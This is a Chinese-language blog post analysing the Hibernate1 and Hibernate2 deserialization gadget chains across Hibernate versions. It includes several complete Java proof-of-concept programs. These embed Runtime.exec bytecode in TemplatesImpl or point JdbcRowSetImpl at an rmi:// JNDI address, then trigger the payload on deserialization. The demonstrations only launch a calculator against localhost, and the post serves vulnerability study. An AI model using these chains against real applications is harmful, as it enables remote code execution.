hibernate组件的反序列化漏洞

java框架中常见组件hibernate的反序列化利用

hibernate组件的反序列化漏洞

hibernate是基于Java开发的一个ORM(对象关系映射)框架,通过将Java对象与数据库进行映射,简化了数据库操作。

算是一个比较常见的组件,比如常见的SSH(Struts、Spring和Hibernate)框架就使用了这个。

但是这里主要来谈谈这个组件存在的反序列化漏洞,在一定的版本下可以打TemplatesImpl的动态加载字节码和打jndi漏洞。

在ysoserial中提到了两条利用链,对应上述的两个利用方法,下面来分别分析一下调用链的过程。

分析环境:jdk8u71

hibernate1链

ysoserial中给出了如下注释:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
/**
 *
 * org.hibernate.property.access.spi.GetterMethodImpl.get()
 * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
 * org.hibernate.type.ComponentType.getPropertyValue(C)
 * org.hibernate.type.ComponentType.getHashCode()
 * org.hibernate.engine.spi.TypedValue$1.initialize()
 * org.hibernate.engine.spi.TypedValue$1.initialize()
 * org.hibernate.internal.util.ValueHolder.getValue()
 * org.hibernate.engine.spi.TypedValue.hashCode()
 *
 *
 * Requires:
 * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
 *
 * @author mbechler
 */

说明了版本问题,在hibernate>=5的情况下可以调用任意方法,在<5时就只能调用getter方法。还给出了基本的调用栈,现在就不同版本来分析一下调用链。

hibernate>=5

添加依赖如下:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.hibernate/hibernate-core -->
<dependency>
    <groupId>org.hibernate</groupId>
    <artifactId>hibernate-core</artifactId>
    <version>5.6.15.Final</version>
</dependency>
链子分析

先来简单跟一遍这里链子的过程,然后在自己尝试构造poc,起点是TypedValue类的hashCode()方法:

image-20250919154311743

想要调用到这里的TypedValue类的hasoCode()方法,我们在反序列化时直接使用HashMap或者Hashtable作为入口类即可

那么关于这里的hashcode变量,在TypedValue类初始化时就会确定:

image-20250919154613558

跟进调用的initTransients()方法:

image-20250919154735960

可以看到直接将hashcode变量定义为了ValueHolder类实例,并且在ValueHolder类初始化时定义了一个匿名内部类作为初始化的传参,这个匿名类还实现了initialize()方法。

回到TypedValue类的hashCode()方法,那么此时就会调用ValueHolder类的getValue()方法:

image-20250919155218799

可以看出刚好就会调用初始化传参的匿名类的initialize()方法:

image-20250919155527240

在这里需要控制type为org.hibernate.type.ComponentType类对象,跟进ComponentType类的getHashCode()方法:

image-20250919155925681

再跟进这里调用的getPropertyValue()方法:

image-20250919160044490

这里需要控制调用到的是抽象类AbstractComponentTuplizer的getPropertyValue()方法

image-20250919160158354

故直接找AbstractComponentTuplizer的实现类即可:

image-20250919160249636

简单看了一下流程,这里的DynamicMapComponentTuplizer应该是利用不了的,除非结合到cc依赖中的lazymap可能有点搞头,故这里主要利用的还是PojoComponentTuplizer类来作为实例化为对象的点。

最后在AbstractComponentTuplizer了抽象类的getPropertyValue()方法中控制getter为GetterMethodImpl类,从而调用到它的get()方法:

image-20250919160749773

由此可实现方法的调用,并且确实从这里看来,只要我们能到达GetterMethodImpl类的get()方法:

image-20250919161025899

只要控制owner和getterMethod,就可以实现任意方法调用。

由此链子已经通了,来尝试构造一下poc。

链子构造

在尝试构造时,其中更有一个绕不过的点就是需要用到的类的初始化,但是这些类的初始化需要的类很多,比如Component的初始化:

image-20250919171852775

等等,这样一层一层套下去,需要考虑以及寻找符合条件的类就非常多,但是其实本质我们就只需要控制对应的变量即可,如何初始化类成了一个需要考虑的大问题,发愁呀。

在这里需要用到了一个非常好用的类:ReflectionFactory类通过调用这个类的一些方法,可以达到不调用其他类的构造方法而直接对其他类实例化对象

故我们可以使用这个类来实例化一个对象,然后按需求修改这个类的白亮来达到想要的目的。

故现在可以构造如下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package org.example;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.type.ComponentType;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import sun.reflect.ReflectionFactory;

public class Main {
    public static void main(String[] args) throws Exception {
        //定义恶意的字节码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl tem = new TemplatesImpl();
        setFieldValue(tem, "_name", "fupanc");
        setFieldValue(tem, "_bytecodes", code);
        setFieldValue(tem, "_class", null);
        setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());
        
        //part1
        Class getterMethodImplClazz = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
        GetterMethodImpl getterMethodImpl = (GetterMethodImpl)getObject(getterMethodImplClazz);
        setFieldValue(getterMethodImpl, "getterMethod", tem.getClass().getDeclaredMethod("getOutputProperties"));

        //part2
        Class pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
        PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) getObject(pojoComponentTuplizerClass);
        setFieldValue(pojoComponentTuplizer, "getters", getterMethodImpl);

        //part3
        Class componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
        ComponentType componentType = (ComponentType) getObject(componentTypeClass);
        setFieldValue(componentType, "propertySpan", 1);
        setFieldValue(componentType, "componentTuplizer", pojoComponentTuplizer);

        //part4
        TypedValue typedValue = new TypedValue(componentType, tem);
        typedValue.hashCode();
        
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Class clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                field.set(obj,value);
                clazz = null;
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
    }
    public static Object getObject(Class clazz) throws Exception {
        ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
        Constructor constructor = reflectionFactory.newConstructorForSerialization(clazz,Object.class.getDeclaredConstructor());
        constructor.setAccessible(true);
        return constructor.newInstance();
    }
}

运行成功弹出计算机,并且调试符合链子分析的过程。ReflectionFactory类是真好用啊,让我们可以只专注于类中的变量的赋值情况,而不用去管类的构造函数需要满足的一些类(并且这样的话其实也可以用另一个实现类DynamicMapComponentTuplizer了,不用专注于PojoComponentTuplizer类的构造)。

  • 难度不难,搞清楚参数传递即可,这里就一个点值得说一下:

由于要修改的AbstractComponentTuplizer抽象类的变量getters,故修改了一下常规的setFieldValue()方法,当成功赋值后就会将clazz赋值为null,从而跳出循环。

  • 其次就是提到的任意方法,个人认为是任意无参方法调用,比如我们还可以直接调用newTransformer()方法:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package org.example;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.DynamicMapComponentTuplizer;
import org.hibernate.type.ComponentType;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import sun.reflect.ReflectionFactory;

public class Main {
    public static void main(String[] args) throws Exception {
        //定义恶意的字节码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl tem = new TemplatesImpl();
        setFieldValue(tem, "_name", "fupanc");
        setFieldValue(tem, "_bytecodes", code);
        setFieldValue(tem, "_class", null);
        setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());

        //part1
        Class getterMethodImplClazz = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
        GetterMethodImpl getterMethodImpl = (GetterMethodImpl)getObject(getterMethodImplClazz);
        setFieldValue(getterMethodImpl, "getterMethod", tem.getClass().getDeclaredMethod("newTransformer"));

        //part2
        Class dynamicMapComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.DynamicMapComponentTuplizer");
        DynamicMapComponentTuplizer dynamicMapComponentTuplizer = (DynamicMapComponentTuplizer) getObject(dynamicMapComponentTuplizerClass);
        setFieldValue(dynamicMapComponentTuplizer, "getters", new Getter[]{getterMethodImpl});

        //part3
        Class componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
        ComponentType componentType = (ComponentType) getObject(componentTypeClass);
        setFieldValue(componentType, "propertySpan", 1);
        setFieldValue(componentType, "componentTuplizer", dynamicMapComponentTuplizer);

        //part4
        TypedValue typedValue = new TypedValue(componentType, tem);
        typedValue.hashCode();

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Class clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                field.set(obj,value);
                clazz = null;
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
    }
    public static Object getObject(Class clazz) throws Exception {
        ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
        Constructor constructor = reflectionFactory.newConstructorForSerialization(clazz,Object.class.getDeclaredConstructor());
        constructor.setAccessible(true);
        return constructor.newInstance();
    }
}

运行也是弹出计算机。如上java代码即可验证DynamicMapComponentTuplizer+newTransformer的任意无参数方法调用。

将其序列化生成数据,如之前所说将HashMap当作入口类即可,但是还有一个问题就是对HashMap调用put()方法放入键值对时会对key调用hashCode()方法,由此会造成一次调用链的进行,故需要避免这个问题。

有几种解决方法,比如修改HashMap中的哈希表等,但是还有一种解决方法就是先正常往HashMap放入无害的TypedValue类实例,然后反射修改,其实在前面很多条链子我们都是利用到过这个思想来绕过序列化前弹出计算机的。故最后的POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package org.example;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.DynamicMapComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;

public class Main {
    public static void main(String[] args) throws Exception {
        //定义恶意的字节码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl tem = new TemplatesImpl();
        setFieldValue(tem, "_name", "fupanc");
        setFieldValue(tem, "_bytecodes", code);
        setFieldValue(tem, "_class", null);
        setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());

        //part1
        Class getterMethodImplClazz = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
        GetterMethodImpl getterMethodImpl = (GetterMethodImpl)getObject(getterMethodImplClazz);
        setFieldValue(getterMethodImpl, "getterMethod", tem.getClass().getDeclaredMethod("newTransformer"));

        //part2
        Class dynamicMapComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.DynamicMapComponentTuplizer");
        DynamicMapComponentTuplizer dynamicMapComponentTuplizer = (DynamicMapComponentTuplizer) getObject(dynamicMapComponentTuplizerClass);
        setFieldValue(dynamicMapComponentTuplizer, "getters", new Getter[]{getterMethodImpl});

        //part3
        Class componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
        ComponentType componentType = (ComponentType) getObject(componentTypeClass);
        setFieldValue(componentType, "propertySpan", 1);
        setFieldValue(componentType, "componentTuplizer", dynamicMapComponentTuplizer);
        
        //part4
        TypedValue typedValue = new TypedValue(componentType, null);

        HashMap hashMap = new HashMap();
        hashMap.put(typedValue,"fupanc");

        setFieldValue(typedValue,"value",tem);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Class clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                field.set(obj,value);
                clazz = null;
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
    }
    public static Object getObject(Class clazz) throws Exception {
        ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
        Constructor constructor = reflectionFactory.newConstructorForSerialization(clazz,Object.class.getDeclaredConstructor());
        constructor.setAccessible(true);
        return constructor.newInstance();
    }
}

成功在反序列化时弹出计算机。由此在序列化前,在如下地方即会停止调用链的进行:

image-20250919191057768

就可以只在反序列化时弹出计算机了。

注意:在目前最新版7.1.1包的位置又改了,具体在5<=hibernate<?,到时候遇到高版本再测吧,感觉应该是在5版本以内的才是可以都打的。

hibernate<5

将版本改成如下即可:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.hibernate/hibernate-core -->
<dependency>
    <groupId>org.hibernate</groupId>
    <artifactId>hibernate-core</artifactId>
    <version>4.3.11.Final</version>
</dependency>

再低版本中,也是修改了包的位置,相比于>=5的版本,删除或增加了一些类。

比如原先的>=5的链子,就报了如下的错误:

image-20250919213605890

少了GetterMethodImpl,导致无法调用到对应类的方法。但是ysoserial也是提出了另外的解决方法:

image-20250919214520216

找到了平替的内部类BasicGetter,跟进其get()方法:

image-20250919214830977

一样的,可以调用无参方法,但是可以注意到这里的Method为transient,序列化时会忽略这个字段。

同时这个内部类还实现了一个readResolve()方法:

image-20250919215106900

这个方法是在对象反序列化时自定义返回的对象实例,也就是说通过readResolve()方法来生成一个BasicGetter类实例,跟进createGetter()方法:

image-20250919215324297

可以看出是生成一个BasicGetter类实例作为后续操作的类对象,跟进getGetterOrNull()方法:

image-20250919215742864

会调用getterMethod()方法来获取Method,如果method不为空就会实例化并返回BasicGetter类对象。

再跟进getterMethod()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
private static Method getterMethod(Class theClass, String propertyName) {
		Method[] methods = theClass.getDeclaredMethods();
		for ( Method method : methods ) {
			// if the method has parameters, skip it
			if ( method.getParameterTypes().length != 0 ) {
				continue;
			}
			// if the method is a "bridge", skip it
			if ( method.isBridge() ) {
				continue;
			}

			final String methodName = method.getName();

			// try "get"
			if ( methodName.startsWith( "get" ) ) {
				String testStdMethod = Introspector.decapitalize( methodName.substring( 3 ) );
				String testOldMethod = methodName.substring( 3 );
				if ( testStdMethod.equals( propertyName ) || testOldMethod.equals( propertyName ) ) {
					return method;
				}
			}

			// if not "get", then try "is"
			if ( methodName.startsWith( "is" ) ) {
				String testStdMethod = Introspector.decapitalize( methodName.substring( 2 ) );
				String testOldMethod = methodName.substring( 2 );
				if ( testStdMethod.equals( propertyName ) || testOldMethod.equals( propertyName ) ) {
					return method;
				}
			}
		}

		return null;
	}

可以看到获取了Clas对象的所有方法,然后进行了判断,要求参数个数为0,然后可以获取到get或is开头的方法,但这里需要控制一下propertyName这个值从而可以获取到想要的值,故我们可以构造poc如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package org.example;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.BasicPropertyAccessor;
import org.hibernate.property.Getter;
import org.hibernate.tuple.component.DynamicMapComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;

public class Main {
    public static void main(String[] args) throws Exception {
        //定义恶意的字节码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl tem = new TemplatesImpl();
        setFieldValue(tem, "_name", "fupanc");
        setFieldValue(tem, "_bytecodes", code);
        setFieldValue(tem, "_class", null);
        setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());

        //part1
        Class basicGetterClazz = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
        BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter)getObject(basicGetterClazz);
        setFieldValue(basicGetter, "method", tem.getClass().getDeclaredMethod("getOutputProperties"));
        setFieldValue(basicGetter, "clazz", tem.getClass());
        setFieldValue(basicGetter, "propertyName", "OutputProperties");

        //part2
        Class dynamicMapComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.DynamicMapComponentTuplizer");
        DynamicMapComponentTuplizer dynamicMapComponentTuplizer = (DynamicMapComponentTuplizer) getObject(dynamicMapComponentTuplizerClass);
        setFieldValue(dynamicMapComponentTuplizer, "getters", new Getter[]{basicGetter});

        //part3
        Class componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
        ComponentType componentType = (ComponentType) getObject(componentTypeClass);
        setFieldValue(componentType, "propertySpan", 1);
        setFieldValue(componentType, "componentTuplizer", dynamicMapComponentTuplizer);

        //part4
        TypedValue typedValue = new TypedValue(componentType, null);

        HashMap hashMap = new HashMap();
        hashMap.put(typedValue,"fupanc");

        setFieldValue(typedValue,"value",tem);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Class clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                field.set(obj,value);
                clazz = null;
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
    }
    public static Object getObject(Class clazz) throws Exception {
        ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
        Constructor constructor = reflectionFactory.newConstructorForSerialization(clazz,Object.class.getDeclaredConstructor());
        constructor.setAccessible(true);
        return constructor.newInstance();
    }
}

运行即可弹出计算机。但是更低版本如3的版本似乎是不能打的,也就是也是局限在4这个版本内?具体就到时候在看吧。

并且从上面不同版本的两条链子的分析,也就知道了为什么<5只能打getter,而>=5却可以打任意无参构造方法。

————————————————

hibernate2链

其实就是打一个jndi,打的JdbcRowSetImpl类下的getDatabaseMetaData()方法,其中调用的connect()方法存在jndi漏洞并且参数可控:

image-20250919221702249

在rome链就提到过这个打法。ysoserial也是给出了基本的调用栈,这也没啥好说的,在前面可以直接打getter,但是我想到在hibernate>=5的情况下是否可以直接打connect()方法呢,其是一个无参方法。

先给出hibernate<5下的getter打jndi的poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package org.example;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.rowset.JdbcRowSetImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.BasicPropertyAccessor;
import org.hibernate.property.Getter;
import org.hibernate.tuple.component.DynamicMapComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;

public class Main {
    public static void main(String[] args) throws Exception {
        //定义恶意的字节码
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/Hello");

        //part1
        Class basicGetterClazz = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
        BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter)getObject(basicGetterClazz);
//        setFieldValue(basicGetter, "method", jdbcRowSet.getClass().getDeclaredMethod("getDatabaseMetaData"));
        setFieldValue(basicGetter, "clazz", jdbcRowSet.getClass());
        setFieldValue(basicGetter, "propertyName", "databaseMetaData");

        //part2
        Class dynamicMapComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.DynamicMapComponentTuplizer");
        DynamicMapComponentTuplizer dynamicMapComponentTuplizer = (DynamicMapComponentTuplizer) getObject(dynamicMapComponentTuplizerClass);
        setFieldValue(dynamicMapComponentTuplizer, "getters", new Getter[]{basicGetter});

        //part3
        Class componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
        ComponentType componentType = (ComponentType) getObject(componentTypeClass);
        setFieldValue(componentType, "propertySpan", 1);
        setFieldValue(componentType, "componentTuplizer", dynamicMapComponentTuplizer);

        //part4
        TypedValue typedValue = new TypedValue(componentType, null);

        HashMap hashMap = new HashMap();
        hashMap.put(typedValue,"fupanc");

        setFieldValue(typedValue,"value",jdbcRowSet);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Class clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                field.set(obj,value);
                clazz = null;
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
    }
    public static Object getObject(Class clazz) throws Exception {
        ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
        Constructor constructor = reflectionFactory.newConstructorForSerialization(clazz,Object.class.getDeclaredConstructor());
        constructor.setAccessible(true);
        return constructor.newInstance();
    }
}

打jndi成功弹出计算机:

image-20250919222714658

————————————

尝试构造hibernate>=5下的打connect()方法的poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package org.example;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.rowset.JdbcRowSetImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.DynamicMapComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;

public class Main {
    public static void main(String[] args) throws Exception {
        //定义恶意的字节码
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/Hello");

        //part1
        Class getterMethodImplClazz = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
        GetterMethodImpl getterMethodImpl = (GetterMethodImpl)getObject(getterMethodImplClazz);
        setFieldValue(getterMethodImpl, "getterMethod", jdbcRowSet.getClass().getDeclaredMethod("connect"));

        //part2
        Class dynamicMapComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.DynamicMapComponentTuplizer");
        DynamicMapComponentTuplizer dynamicMapComponentTuplizer = (DynamicMapComponentTuplizer) getObject(dynamicMapComponentTuplizerClass);
        setFieldValue(dynamicMapComponentTuplizer, "getters", new Getter[]{getterMethodImpl});

        //part3
        Class componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
        ComponentType componentType = (ComponentType) getObject(componentTypeClass);
        setFieldValue(componentType, "propertySpan", 1);
        setFieldValue(componentType, "componentTuplizer", dynamicMapComponentTuplizer);

        //part4
        TypedValue typedValue = new TypedValue(componentType, null);

        HashMap hashMap = new HashMap();
        hashMap.put(typedValue,"fupanc");

        setFieldValue(typedValue,"value",jdbcRowSet);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Class clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                field.set(obj,value);
                clazz = null;
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
    }
    public static Object getObject(Class clazz) throws Exception {
        ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
        Constructor constructor = reflectionFactory.newConstructorForSerialization(clazz,Object.class.getDeclaredConstructor());
        constructor.setAccessible(true);
        return constructor.newInstance();
    }
}

也是成功打jndi从而弹出计算机:

image-20250919223038802

————————————

总结

  • 最有意思的就是了解到了ReflectionFactory类的使用,确实好用,可以直接构造一个java对象不管其构造方法,以后多注意思考利用。

参考文章:

https://zhuanlan.zhihu.com/p/158978955

https://blog.potatowo.top/2024/11/01/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BHibernate/#hibernate2

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计